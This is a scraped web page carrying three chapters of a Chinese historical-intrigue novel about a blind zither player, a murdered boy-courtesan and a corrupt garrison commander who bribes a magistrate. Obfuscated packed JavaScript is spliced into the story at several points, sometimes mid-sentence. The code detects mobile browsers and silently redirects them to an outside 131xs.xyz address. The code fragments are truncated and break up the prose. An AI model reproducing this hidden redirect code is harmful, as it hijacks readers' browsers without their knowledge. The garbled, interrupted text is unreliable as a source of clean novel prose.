0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533403|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “又涨？！” 一片嘘声未落，角落有人接话：“苍梧镇三月仍有暴雨，这天气只怕不妙。” 话音方歇，一醉客踉跄撞翻玛瑙盘，提子滚进波斯毯里。 “何必杞人忧天！”他嚷道，“这些粮商不过借由这几日的天气哄抬物价，等雨天过了，自会主动降下。” 临窗抚琴的绿衣乐伎恰好转调一曲《帐底香》，泠泠弦音切碎满室喧哗。 若嵁面色古怪，正疑心自己从前所授莫非皆是淫词艳曲，忽听喊堂的少年扬声道：“红绡姑娘在里头候着先生哩！” 她推门欲入，却被一位华服醉客横身拦住。 “鸨母分明说红绡姑娘抱恙，今日不见客！”那人横眉冷对，戟指喝问，“缘何他进得？” 侍女忙转圜道：“这位若先生是阁中请的琴师，非是宾客。” 醉汉不依不饶，仍叫嚷不休。 “吱呀”一声，雕花门扇自内开启。 一素衣女子未施粉黛，钗环尽褪，却难掩清丽容色。她转过蜀锦屏风，弱柳扶风般似倚非倚地挨近醉汉，指间丝帕掩住口鼻，轻咳了两声。 “王老爷且体恤奴家。”她声气微喘，“待奴家身子将养好了，再与老爷把盏。” 美人在怀，醉汉早被红绡这温声软语酥麻了筋骨，哪有不依的。手掌顺势探入她衣襟内游移揉弄，占足了便宜，方才踉跄罢休。 若堪随红绡入内室，挥手拂开氤氲的脂粉雾气，于西窗琴台坐定。正要试抚瑶琴，忽闻珠帘脆响。 “先生的伤处可好些了？”红绡将手炉轻置若嵁手畔，炉顶镂空的鸾鸟展翅处正腾起袅袅白烟，“苍梧镇严寒，先生且先暖着。” 若嵁尚未觉出该以如何回应，便听她续道：“那日累及先生被纨绔所伤，红绡本该亲力侍奉汤药，奈何实在脱身不开，才支派阿松前去照料。谁料他竟数日未归，反劳累先生亲至。” 及至今日，若嵁方知那日塌前言语轻佻的少年，名唤阿松。 “既是不见踪迹，为何不报官去寻？”若嵁问道。 “贱籍之人，何以惊动官府老爷？”红绡腕上缠臂金钏无意轻叩琴身，发出清冷一声，似含幽咽。 旁人闻红绡凄婉之言，纵不感同身受，亦当出言宽慰。然若嵁不知从前与她亲疏几何，唯恐应对失当，泄露破绽，反惹是非。 索性缄默不言。 红绡未觉异样。 俄而，门外声响渐息，红绡蓦地倾身贴近，染着蔻丹的指尖似有若无地搔过若嵁手背，鬓边青丝亦随之轻拂面颊。 她檀口微启，温热吐息递入若嵁耳畔：“先生日后还请以自身为重。‘君子不立危墙之下’，此番先生执意以身犯险，幸而未成大祸。否则，红绡日后九泉之下，亦难自处……” 这般的撩拨亲昵，令若嵁身躯微僵，不免再次揣度起过往的身份——莫非，竟是个流连花丛的浪荡子？ 先前浓郁的脂粉气，因窗牖大开已散去大半。红绡为行挑逗之举，与她近乎贴身，此刻金疮药裹挟着丝丝缕缕的血腥气，才悄然缠上鼻端。 若嵁了然。 看来，这位红绡姑娘，亦有许多秘密。 她不慌不忙将身子错开半寸，唇角噙笑：“姑娘若次次如此，只怕在下要经不起撩拨了。先前吩咐姑娘的事，可都办妥了？” 8. 碣石调·幽兰（七） 红绡敛去轻佻之态，眸光微寒，言语间骤添肃杀： “燕王突至，姓柳的狗官急于杀证灭口。若非先生布局谋划，莫说救下那人，只怕红绡都难以脱身。” 便是不见红绡的容止，若嵁亦能推晓她先前的做派大抵皆是伪装。 红绡所言听来全然是为自己，然方才的轻佻试探已令若嵁对其信任失了三分。 此女听命于己，或为情，或为利，皆非牢靠根基。一旦窥破失忆的真相，再利的棋子，亦恐生噬主之念。 若嵁指节微蜷，沉默着拨动案上琴弦，晚风恰在此时卷起纱幔，掠过她蒙眼的白绫，端的是一副高深莫测的姿态。 她愈是缄默，红绡愈加不安。伤处剧痛阵阵袭来，她膝行两步，慌忙跪伏道： “先生与红绡有约在先，传信相召，皆以一阙《幽兰》为凭。先生久未造访，此番无约而至，实容不得红绡不起疑。无状之举，是为探明究竟，万望先生恕罪。” 若嵁此举非是为刁难，更要探出失忆前的筹谋，遂淡声道：“人可安置妥当？” 红绡忍着膝下剧痛，躬身答道：“已藏于燕王别院附近。且待那人缓过劲来，便拦驾呈禀，状告柳守备。” 如此，倒解了焦尾琴腹中那把军械匕首的来历。 信口与燕王胡诌之言，竟正中要害。 自若嵁醒来，所遇所闻——守备公子、参将公子、燕王，皆与军械失窃案牵连甚深。 公子廖怀嗜好音律，投其所好，结交不难。柳衙内的风流之名，在苍梧镇亦非隐秘。由此二人入手，探知军械失窃或与柳守备有涉，倒也在理。 然无凭无据，指认朝廷命官犯下重罪，非是良策。财帛动人心，军械巨利只怕早令涉案人贪红了眼，杀人灭口不过早晚之事，故有红绡暗中救下证人，蛰伏待机的安排。 只待燕王车驾临此，便由那证人持罪证拦驾首告。 此番谋算，扳倒柳守备，似是水到渠成。 可若嵁犹如雾里看花，难窥真容。 这本该交予证人手中的匕首，为何反在她手中。如今证物既已落入燕王之手，再行告发，他又肯信几分？思及脑后未愈的伤口，一个念头挥之不去—— 柳衙内那横生的一记捶打，致自己失忆，是意外，还是算计？ 若嵁摇首，暂且压下这些无根之疑，思忖先前的布局可留后手。军械非同小可，若流入民间尚属万幸，若教异族得去，岂非资敌？ 她的指尖无意识触上颈侧，那是曾用烙铁生生烫去刺配的印记。 我岂非是个忧国忧民的大善人？ 念及此，若嵁唇角牵起一丝刻毒的嗤笑。 这无端的笑意令跪在原地的红绡胆寒。烛影摇曳中，那抹笑意比寒刃更冷。她从未想过，如此风光霁月指认，亦有这般晦暗如渊的时刻。 细微的吸气声终是将若嵁从沉吟独思中惊回。她略一展袖，示意红绡起身。 若嵁正欲离去，单薄身影行将没入无边夜色。 红绡强忍膝痛急趋两步，袖底飞出一只小巧瓷瓶，指尖不经意擦过若嵁垂落的袖缘，温热稍触即离。 “先生……此药……于外伤愈合有奇效。”语气低微，几不可闻。 若嵁回身颔首：“多谢。” 在她未见之处，红绡的月白琵琶袖滑落，腕间翡翠恰露出两道猩红抓痕，刺目如新。 而此刻，西城廖府，蕴玉斋。 这小院独踞东角，一条青石小径蜿蜒通向三间雅舍。透雕窗棂外疏竹掩映，分外清幽。 廖晖垂首，正漫不经心地将药粉敷在虎口——那里一道伤口翻着红肉，亦显狰狞。 院门轻响，石径上响起脚步声。他头也未抬，只随意道：“父亲，你来了。” 廖元清负手步入，目光扫过儿子手上那显眼的伤痕，眉头微不可察地蹙了一下。 复又想起什么，他强行掩去眉宇间的关切，面上神情一时有些扭曲。 “你的乳母呢？” 突兀的问话令十八九岁的少年眸中闪过刹那惊慌，应答却极为镇定： “常妈妈家中生了变故，回乡照看些时日。父亲怎么问起她来了？” 廖晖抬首，见素来儒雅的父亲身上不知何故沾染了脏污，鬓间还散落着几缕碎发。 “父亲……”他嘴唇翕动。 “晖儿，”廖元清形容枯槁，昔日亲昵的称谓格外艰难地自齿缝间碾出，“你若是还肯认我这个父亲，便告诉我，常妈妈现下究竟在哪？” “常妈妈她…确是回乡去了。”廖晖神情闪躲，回避着他的目光。 廖元清面上浮起惨淡笑意：“晖儿。为父怜你幼年丧母，处处照拂有佳。虽为庶子，衣食住行，无不比照廖怀这个嫡子。连家传的断岳刀法，亦是倾囊相授。 为父不问你何时知晓身世。只求你告知，那个与你一同出生的兄弟，是生是死？” 真相虽昭然，廖元清仍难割舍与廖晖的父子情谊。 “父亲……”廖晖眼含泪珠，强作从容，“孩儿实在不知父亲所言何事。” “燕王已查明你乳母的身份。”廖元清声音发涩，“为父……已知你身世。好孩子，若你肯从常妈妈口中探出我那亲生骨肉的下落，与他们断了牵连——” 他枯槁的手指几不可察地颤抖了一下，“为父…仍愿视你如己出，保你一世平安。” 廖晖扑上前，环住廖元清腰间，将面上那丝不易察觉的释然埋入父亲衣袍，悲声道： “自孩儿知晓身世，日夜惊惶，恐父亲怨我憎我。非是孩儿不愿告知，实在是常妈妈只说有事出门，托我替她遮掩一二，便再未归来……” “如此，”廖元清双目紧闭，涩声道，“为父…只能将你交予燕王了。” 怀中身躯猛然一僵。 “交…交予燕王？” 廖晖倏地抬头，眼中惊惶尽褪，喉间挤出古怪的嘶声，似是未出口的笑声被强硬掐断。残存的悲戚如潮水退去，只余下被逼至绝境的凶光与气急败坏的狰狞。 “父亲，您说过的…说孩儿最像您！”他嗓音骤提，尖利声里透着绝望，“您若厌弃我，指望大哥？他不过是个纨绔！日后撑廖家门楣的只能是我！父亲…父亲您不能这般待我。 除了那个废物，您只剩我一个儿子了！哈哈哈……” 狂笑声戛然，箭在弦上的怨毒却难压抑，积压十数年的戾气混着恶语迸溅而出： “那孽种刚落地，就被我娘用被褥闷死了！” 满室死寂。 廖晖的粗喘尚在木梁间浮荡，他的胸口剧烈起伏，眼底的疯癫撞上廖元清的面容时骤然瑟缩。 那不是预想中的雷霆之怒，而是一种令骨髓冻结的空茫死寂。 那双曾无数次盛满温柔慈爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533404|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼瞳，此刻空洞地穿透他，望向虚无深处。 痛楚、挣扎、残存的希冀，瞬间被抽剥殆尽，唯余一张灰败如纸、失却生气的假面。 “父……”廖晖喉间滚动，本能想唤，却在对方死水般的沉寂前，狂狷气焰竟自矮了下去，平生头一遭生出本能的惧意。 他下意识松了松勒紧的手臂。 廖元清缓缓抬手，僵直地按上剧烈绞痛的心口。 “闷…死…了？”声线虚浮，字字如泣血，“我儿…才落地…就被…闷死了？” 剧烈喘息拉扯着胸腔，空洞眼瞳终于聚焦。他的目光钉住廖晖，翻涌的并非怒焰，而是足可焚尽万物的彻骨悲恸与荒诞： “十六载父子情分…原是我廖元清…眼盲心瞎…替杀子仇人…养虎为患？！” 廖晖被他眼底深不见底的悲怆刺得踉跄后退，方才的疯狂已然被彻骨寒意取代。 余光瞥见廖元清按在胸口的手背青筋暴起，另一只垂落的手正不受控制地颤抖着，缓缓探向腰间佩刀。 “父…廖大人！廖大人！”廖晖惊恐万状，“我尚有大用！快些将我交给燕王！对，交与他！我知晓余党藏身之所，能助您寻得逆贼、立下奇功！廖大人！速将我交出去！” 他嘶喊着，紧盯那只探向刀柄的手，身体不自觉地朝门口缩去，膝弯撞在门板上，发出咚咚声响。 廖元清强抑杀意，点了两个府兵，押解着廖晖出府。 一行人风尘仆仆抵达城西。 早已废弃的染坊内，潮湿的霉味混杂着残余的染料气息，令人作呕。 廖元清反剪廖晖双臂，拖着他，一脚踹开吱呀作响的破败木门。 尘土簌簌落下。 屋内空空如也。 几片残瓦委于墙角，破木桌上唯剩粗陶碗盏，碗底凝着干涸发黑的药渣。四下除了这抹陈旧痕迹，再无半分人气。 冷风自破损窗棂灌入，卷着尘灰在半空旋成细柱。 “怎…怎会如此？”廖晖如遭雷击，周身力气尽散，“娘说过…此处最是安稳……” 赖以保命的筹码，竟在满目尘埃中断作齑粉。 扑倒在冷硬积尘中，任由碎裂瓦砾刺入皮肉。他挣扎抬头，正撞进廖元清的眼底—— 那双曾含温情、亦盛悲恸的双眸，唯余深潭寒冰，映着他丧家之犬般的狼狈，映着这坟茔般空荡的染坊。 “押回府。” 临街的二楼轩窗半敞，昏黄灯光勾勒出一男一女相对而坐的剪影。 楼下喧嚣骤起，又倏忽远去。 女子的目光穿透窗棂，眼见那群士卒风卷残云般掠过街面。不及弱冠的少年被反剪双臂，粗糙的绳索深深勒进皮肉，被粗暴拖曳于奔马之后，身影在石板路上踉跄、缩小。 “十三娘，”男子呷了口酒，喉间滚出带着玩味的赞叹，“那可是你的亲儿子。拿他作饵，换自己脱身，果真是好手段。” 他唇角噙笑，举起酒盏，朝对面虚虚一敬。 十三娘未应，扯出一个冰冷的、近乎僵硬的弧度。眸光死死攫住那条由火把汇成的、蜿蜒远去的光龙，直至最后一点光亮彻底被黑暗吞没。 “告诉你家红绡姑娘，老娘连身上掉下的肉都舍了，莫要忘了我们之间的交易。”她缓缓抬眼，寒芒似刃，一寸寸刮过男子的面皮，“否则—— 鱼死网破，谁也别想干净。” 9. 碣石调·幽兰（八） 戍时自翠云阁离去，若嵁的盲杖在墨色长街寸寸点探，杖端轻叩石板的笃笃声，是暗夜中唯一的回响。 身后的喧嚣如潮水般退去，唯余空旷深巷里呼啸的北风，卷起枯叶擦过她冰冷的衣袂。 若嵁加紧步伐，顶着愈发刺骨的寒意，将将于宵禁鼓声落尽前抵家。 “天杀的米蛀虫！晨间还八十文，擦黑就涨百二十。” 隔壁铁匠娘子尖利的叱骂骤然撕裂了这方将沉落的静谧夜色。 “娘，我饿……” 孩童嚎哭声此起彼伏响起，被另一厢老篾匠的咳嗽混着竹条劈裂声截断。 若嵁指尖抚过发胀的后脑，凭借残存的本能沿墙壁走进。行至门口，足尖忽而撞上异物，整个人踉跄着向前扑去。 险险顿住脚步，若嵁伸出脚去探——盛水的陶瓮空空如也，横倒在门槛边。 指尖触到瓮壁的冰冷与空荡，身体陡然僵直，瘦削的手指紧扣门框，耳廓因警觉而微微颤动：陶瓮本不该在此处，更不该是空的。 闯入者晓得她是个手无缚鸡之力的盲眼琴师，故而连扫尾的功夫都懒得去做。 若嵁假作毫无所觉，攥紧腰间的梅枝铜扣，收入掌心。又伸出左脚将陶瓮踢向墙角，故意发出巨大声响。 “隔壁这瞎子出甚事了，闹出恁大的动静。” 话音方落，若嵁便听得隔壁院门“吱呀”一声，急促的脚步声渐近。 “若先生，娘听见动静，让我来瞧瞧。”少年声音清亮，动作却格外矫健。见若嵁僵立门边，忙伸手去扶她的胳膊。 铁锈和汗味钻进若嵁鼻腔，近乎本能地挥开那只手臂，指间的铜扣却硌得掌心生疼。她强自按耐，任由少年搀扶，脚下虚浮地随他挪进屋内。 若嵁状似无意地将身后的焦尾琴递给少年：“你且帮我看看，琴身可有磕碰？” 少年接过，仔细捧着琴来回查看，嘟囔道：“没见着伤…琴好着呢，” 趁他俯身，若嵁屏息凝神—— 此间唯有少年衣料的摩擦声和窗外市井的嘈杂。 她紧绷的肩线终于松了半分。 “多谢。”若嵁从身上摩挲着数出几枚铜钱塞过去，“拿去买些零嘴。” 少年推辞不过，接了钱，踢踢踏踏跑远了。 门扉合拢，隔绝了外界的声响。 若嵁枯坐良久，掌心因铜扣洇出了斑驳的红痕，一阵冰凉的庆幸却悄然漫上心头。 这陋室虽狭小如鸽笼，一瓮倒地，便惊动了邻里。可若住在那深宅大院，只怕被人抹了脖子，烂在屋里也无人知晓。 这一夜，若嵁睡得极不安稳。 颈侧掐出的淤痕阵阵作痛，每回翻身都牵扯皮肉，令她在混沌睡意里频频惊醒。 若嵁时不时支棱着耳朵分神留意不速之客是否再次造访，却又忍不住回想白日在廖府与周放离那场凶险交锋。 喉咙干涩发紧，她低低咳嗽两声，震得喉间火烧火燎。 记忆清晰如昨：对方冰冷试探句句藏锋的话语，以及充满压迫的举止，其中最为心惊的是，那毫无征兆直刺面门的一刀。 刀尖破空的锐响犹在耳畔，寒气近乎戳破眼皮。刹那间的凝滞，全凭骨髓里浸透的本能，才没教惊惧泄露半分。否则，苦心扮演盲者身份，早已像薄纸般被戳穿撕裂。 翌日 天刚蒙蒙亮，若嵁的睡意全然消散，唯有遮掩在白纱下的青黑昭示着她的疲惫。 自红绡口中试探出自己失忆前的筹划后，若嵁便无意插手。 她深谙言多必失、画蛇添足之理，故而只打算做个沉默的旁观者。只待那谋划尘埃落定，再借此揣度往昔意图。 未料午时刚过，醉忘忧的琴音尚在梁间萦绕，指尖犹存丝弦的震颤，周遭酒客的市井谈资便悉数钻入耳中。 “嘿！城郊破庙出了桩大事儿！”开口的酒客把碗重重一磕，酒液溅出些许。 斜对座的汉子灌了口烧刀子，含糊笑道：“能有啥稀罕事？莫不是野狗争食？” “放你娘的臊！”那人呸地啐了口，压着嗓子却仍带了酒气的亢奋，“是死人！就埋在观音殿塌了半边的墙根下！” 立刻有人探着脖子接话：“这事儿我听巡城的兄弟提过，说是个半大少年——哎哟喂，那身上的伤哟，没一块囫囵皮子！” 先前戏谑的汉子登时来了精神：“怎生个死法？仇杀还是劫财？” “不像是图财。”另一人捻着胡须摇头，“那身衣裳虽沾了血泥，细瞧却是上好的纱缎，城里能穿这料子的掰着指头都数得过来……” 最先开口的酒客忙不迭抢过话头：“可不是嘛！还有更稀奇的——那小子指甲盖染着凤仙花汁，红得跟血似的，死了都没掉色！哪家正经男娃涂这个？我瞅着啊，十有八九是翠云阁那些卖笑的小倌！” 若嵁拨弦的手指几不可察地一顿。 翠云阁失踪的那少年，似乎是唤——阿松？ 酒桌哄闹声仍在蔓延，而若嵁再无探究的心思。 这事只怕要牵扯到她头上来。 果然，其后便有官差上门。 缁衣捕快自翠云阁查起，循着线摸到了若嵁这里。 阿松曾受红绡所托，确实照看过受伤的若嵁两日，这事瞒不住，她便认了。 “确有此事，”她声线平稳，“两日不到，付了酬劳，他便离开了。其后踪迹，我一概不知。” 捕快的目光锐利起来：“可有人见，他离开那日，你二人曾起过争执？” 若嵁早知症结在此，游刃有余道：“争执是有。而若要杀了他，绝无可能。”她指向后脑，“我伤在头部，气力不济，连个半大少年都推搡不过。况且——” 她顿了顿，淡笑道，“那日至今，我皆是按着时辰去各处弹琴，动线清晰，哪来的本事和工夫去杀人？” 捕快沉吟片刻，那青白脸皮上看不出端倪，只道：“眼下瞧来是这般。但案子未结，你莫要离城。兴许……还有话问你。” 若嵁颔首应是。 一行捕快离去，巷子里短暂的喧闹复归沉寂。 若嵁听着脚步声消失在巷口，才缓缓合上吱呀作响的木门，背脊贴着门板，指尖无意识摩挲着铜扣上的梅枝图腾。 官差盘问本在预料，她滴水不漏的应对暂稳局面。然而，阿松的死实在蹊跷。 那少年平素惯会攀高附贵，却未必真能与人结下不死不休的仇怨。何况那日离开前，可还特意将院里所有水缸都挑满了清水。 巷口的风带着寒意，卷起几片枯叶。年轻捕快疾步追上捕头，面上凝着困惑，压低嗓音道：

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533405|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “头儿，这若嵁咱早查透了底细。邻里都说她是本分盲眼琴师，性子孤僻却从不惹事。案发那几日她在‘醉忘忧’弹琴，众目睽睽之下根本没有作案时间，咱还问了送她进门的铁匠小子，屋里也并无异常。为何偏要走这一遭，问这些明摆着的事？” 四十出头的捕头短小精悍，眼眸却如鹰隼般锐利。他脚步未停，只从鼻腔哼出白气，声线压得更低，透着世故的疲惫与谨慎： “你懂甚？真当这案子是咱们能查透的？” 年轻捕快一怔：“头儿的意思是……？” “那阿松出事前，不过翠云阁里一个不起眼的小倌。” 捕头冷笑，瞥向四周无人处续道，“指甲染凤仙花汁，既是他身份的标记，也是背后龌龊勾当的遮羞布。穿得上下等纱缎，却死在破庙墙根下，死状那般惨烈—— 这能是寻常仇杀劫财？扯上翠云阁，就牵扯到达官贵人见不得光的癖好、流水般的银钱，更牵扯到……” 他顿住话头，目光投向远处巍峨城墙，语气沉得发紧，“总之，这潭水深得很，咱们这点斤两跳下去，连个泡都泛不起来。上头限期破案，可这案子的根子，早不在府衙能刨动的地界了。” “那…那还查什么？”年轻捕快听得心惊肉跳，隐隐又觉得憋闷。 “查？当然要查！姿态得做足！”捕头斜睨了他一眼，似笑非笑道：，“该问的问，该查的查，卷宗要写得漂亮，流程要走得周全。让上头瞧着咱们没偷懒，让百姓明白咱们在办事。至于真凶……” 他嗤笑一声，“或许早有人心里清楚，只是动不得。今日盘问琴师，不过是敲山震虎，也是做给盯着案子的人看——你瞧，咱们没漏掉任何关联人，连个瞎子都细细问过了。” 说罢他拍了拍年轻捕快的肩，语重心长道：“记住，在这城里当差，有时候活命比破案要紧。走吧，把该记的都记下，回去交差。” 两人身影转过街角，渐渐融入市井喧嚣的人潮中。 与南城交叉的西城，一个锦衣公子玉带凌乱，发梢沾露，踉跄着推开守备府厚重的紫檀木门。 刹那间，街头的清冷、喧嚣、活气，仿佛被一道无形的墙拦腰斩断。取而代之的，是裹挟着暖炉余温、陈年墨香和浓重皮革铁锈味的滞重空气。 “爹，救我！” 冷风灌入书房，吹得烛火摇摇欲灭，将墙上悬挂的边陲地图和几柄装饰用的古朴战刀投下巨大而森然的影子。 “多大的人了，还如此莽撞？” 四十余岁的武将端坐书房，墨袍衬得面色沉肃。提笔欲书，笔锋却悬滞，眉峰微蹙间，唇畔牵起一丝似笑非笑。 “给父亲请安。” 柳衙内在外跋扈恣睢，面对父亲时却连说话也不敢太声张。分明是噙着再和煦不过的笑意，却总令他脊背窜起一股寒意，不寒而栗。 “翠云阁的小倌阿松…被人发现…报官了。”他嗫嚅道，垂着头不敢看座上的人。 空气骤然凝固，无声沉坠的威压弥漫开来。须臾，一声冰冷的诘问砸落： “连这点事也处理不好？！” 柳衙内浑身一颤，膝盖几乎软倒，声音带着不易察觉的哭腔： “可是父亲，我抽了几鞭子就放他离开了…真的…真不知道人怎么就…没了……” 10. 碣石调·幽兰（九） 柳守备仿若未闻，笔下墨迹在宣纸上蜿蜒如常。他连眼皮都未曾抬一下，语气淡然： “人既不是你杀的，就更不必惊惶。” 柳衙内并未感到宽慰，额角隐隐有冷汗渗出，声线微颤：“可我这次鞭打那兔儿爷时候，周遭可有不少人瞧见了！官差…官差不会真要上门来拿我吧？！” 待最后一笔落下，柳守备才略抬眼皮瞥了儿子一眼。那目光里并无责备，而是对其这般小题大做的淡淡不耐。 “慌什么。” 他眼眸微阖，又拿起一份公文，语气中透着久居上位的稔熟掌控，“不过是个贱籍小倌，死了便死了。既有人瞧见了，让管事下去打点，多的是人乐意装瞎。官差那边，自有人去分辩。” 柳衙内面色稍霁，眼底虽仍留有惊惧，却仍是战战兢兢地同父亲告退。 知子莫若父，柳守备心知这逆子只怕还瞒下了些什么。 他不欲深究，横竖是些纨绔做派。此子顽劣不堪，怎奈命中子嗣艰难，年逾五十方养成这个独子。便是把天捅破了，怕也是要替他补上的。 当即收起公文，指尖轻叩桌案，扬声道： “备轿，去县衙。” 县衙后堂，檀香袅袅。 一路风尘仆仆的柳守备并末直陈其子恶行，只端坐太师椅上，指尖有一搭没一搭地叩着紫檀扶手，声音沉缓: “近来坊间不甚太平，流言蜚语，滋扰视听。小儿顽劣，前些时日与翠云阁一小倌起了些口角，竟也被人捕风提影，编排得不成样子。知县大人治下清明，想必也曾听闻这些无稽之谈？” 知县王大人捧着茶盏，眼皮微垂，氤氲的热气模糊了他眸底的晦暗。 翠云阁小倌阿松之死，案情明了，罪证昭然。不提目睹柳衙内施暴的众人，单是捕头交给他的玉佩，便足以定罪。 然守备大人不仅是上峰，更是这苍梧镇说一不二的土皇帝。得罪是断不能得罪的，但若要相帮，总得…… 王知县啜了口茶，方缓缓道:“柳大人说的是。市井喧嚣，总有些刁民唯恐天下不乱。些许小案，本县自会着人查证分明，以正视听。只是——” 他话锋微顿，抬眼看向柳守备，目光似有深意，“舆情汹汹，若处置不当，恐污了令郎清誉，也损了守备大人的官声。” 柳守备嘴角牵起一丝极淡的弧度。 他早料到对方会提条件，自袖中取出一封未署名的素笼，轻推至案几中央，指尖在笺上“翠云阁”三字旁若有若无地一按： “清者自清。犬子年少，还需大人多加教导。至于那些刁民颠三倒四的证词，怕也做不得数。王大人明察秋毫，想必自有公断。” 语罢，略一停顿，压低嗓音续道，“县衙年久失修，兵械亦需添置，本官已着人备了些‘心意’稍后便送至库房，权当为地方分忧。” 王知县目光扫过那素笺，又落在按在上方的手指，心中了然。 笺内必是柳府“建议”的可信证人名单及“妥当”的证词方向。那“心意”，更是丰厚到足以堵住任何可能质疑的嘴，“修缮”好些许漏洞自然不在话下。 “柳大人心系地方，实乃我辈楷模。” 王知县的眼底流露出浅淡笑意，抬手收起了那素笼，仿佛接过一张寻常拜帖。 “令郎之事，本县定当秉公办理，不叫小人构陷得逞。只是…他压低声音，意有所指,“还需令郎近些时日稍安勿躁，莫再生枝节，待风头…自然平息。” 柳守备领首:“自然。有劳王大人费心。” 二人目光一触即分，堂内余茶袅袅，满室心照不宣。 一场人命勾当，便在氤氲的茶气与含蓄的官话中了结。 柳守备拂衣起身告辞。 王知县招来刑房书吏略作商讨，当即定了计议：只消将阿松之死全数推到那护卫柳衙内左右的虬髯客身上，便可洗清他的嫌疑。 书吏心领神会，蘸饱了墨，几笔将这份“定论”草拟成文，只待捕头前来领命。 捕头带着年轻捕快回到县衙，早瞧见书吏候在案旁。他余光扫过年轻捕快尚带稚气的面庞，心中暗忖： 这事水浑。若是平常，让这小子眼明心亮是好事。可眼下这潭水，他还蹚不得。须得早早支开他，莫让这身新皂衣染了不该染的墨。 书吏将那份墨迹初干的卷宗递了过去，低声道：“大人钧旨，照此办理。” 捕头眸光扫过卷面，眉头不由轻跳，旋即恢复如常。他的目光专注在眼前的卷宗上，口中却吩咐身旁的年轻捕快： “你…且去将今日南城琴师那笔录誊抄清楚，”说罢，眼神分出一撇扫过他，“方才回衙匆忙，袍角沾了尘土，仪容不整，成何体统？趁此收拾利落了。明日点卯前，笔录须得放在案头。” 年轻捕快面露愕然。他本以为要参与这桩新接的大案，张口欲言，却见捕头紧锁的眉头和未曾抬起的目光，那不容置喙的语气令他终究把话咽了回去。 他抱拳躬身，应了声“是”，带着一丝不易察觉的失落和疑惑，快步退出了签押房。 待那年轻的身影消失于门外，捕头的眼神才回落在手中的卷宗上。 一旁的书吏垂手而立，眼观鼻，鼻观心，仿佛泥塑的木雕。 捕头点了几个心腹老手，直奔虬髯客藏匿的陋巷。那虬髯客虽是悍勇，到底是两拳难敌四手，一番缠斗后，便被铁链锁住，押回县衙。 签押房深处，临时辟作审讯的耳室灯火通明，却透着一股直沁骨髓的阴冷。 虬髯客被缚在柱上，捕头负手而立，面沉似水。书吏仍旧垂手侍立一旁，脚下却多了个刚打来的冷水桶和几件尚未亮出的家伙什。 空气凝滞得能拧出水来。 一声闷响，布裹的物件被重重掼在桌上。 捕头解开包裹，从中拈出一块染血的玉佩，推前一步，沉声问道：“此物，你可识得？” 虬髯客倒抽一口冷气，牵动伤势呲牙咧嘴，勉力抬眸，扫了一眼便颔首：“是…是我家衙内从不离身的贴身玉佩。” “认得就好。”捕头目光如炬，钉在他的脸上，“翠云阁的小倌阿松遇害，此物遗落现场。现有人指认，是你盗走此玉，转赠与他。你可人？” “绝无此事！”虬髯客闻言错愕，随即怒道，“虞某向来行事光明，岂会做这等下作勾当！大人明鉴！” 恰在此时，送饭小吏端进一壶浊酒和一碟下酒菜，搁在桌上。 捕头信手捻了粒花生米嚼着，饶有兴味地欣赏虬髯客的困兽之斗。 “急什么。我既拿你，自有道理。”他扬声喝道，“带翠云阁龟公。” 一个瑟缩的中年人被押了进来。 捕头眼皮一抬，“你且说说，这虬髯客随柳衙内出入翠云阁时，与死了的阿松，可有瓜葛？” 龟公眼神乱瞟，头也不敢抬：“回…回官爷。这虬髯客…每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533406|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回陪衙内来，那眼珠子…就跟生了勾子，直往阿松身上剜！阿松是伺候衙内的，对他…自然不假辞色。小的…小的亲耳听见他私下里骂阿松‘不识抬举’…还…还说要给阿松点苦头尝尝……” “放屁！”虬髯客目眦欲裂，恨不能生啖其肉，“你这狗……” “哦？”捕头连炮似地发问，生生截断他的怒喝，“那他可曾有过越轨之举？或是私下纠缠阿松？” 龟公见虬髯客被镇住，忙不迭道：“有…有！就在阿松死前两天，小的撞见他偷偷摸摸塞给阿松一个小布包…阿松当时就摔他脸上，骂他‘癞蛤蟆想吃天鹅肉’…他那脸色，黑得吓人……” “胡说八道！那布包是衙内让我转交给红绡姑娘的，阿松不过经手！”虬髯客怒发冲冠，“老子恁时候得罪过你，要这般血口喷人？！” 龟公被他的凶相骇得脊梁愈发佝偻，抖如筛糠，再不敢吱声。 捕头不耐地挥手，赶苍蝇般将他斥退，转而盯紧虬髯客，冷笑道：“嘴硬无妨，指认你的人，可不止他一个。” 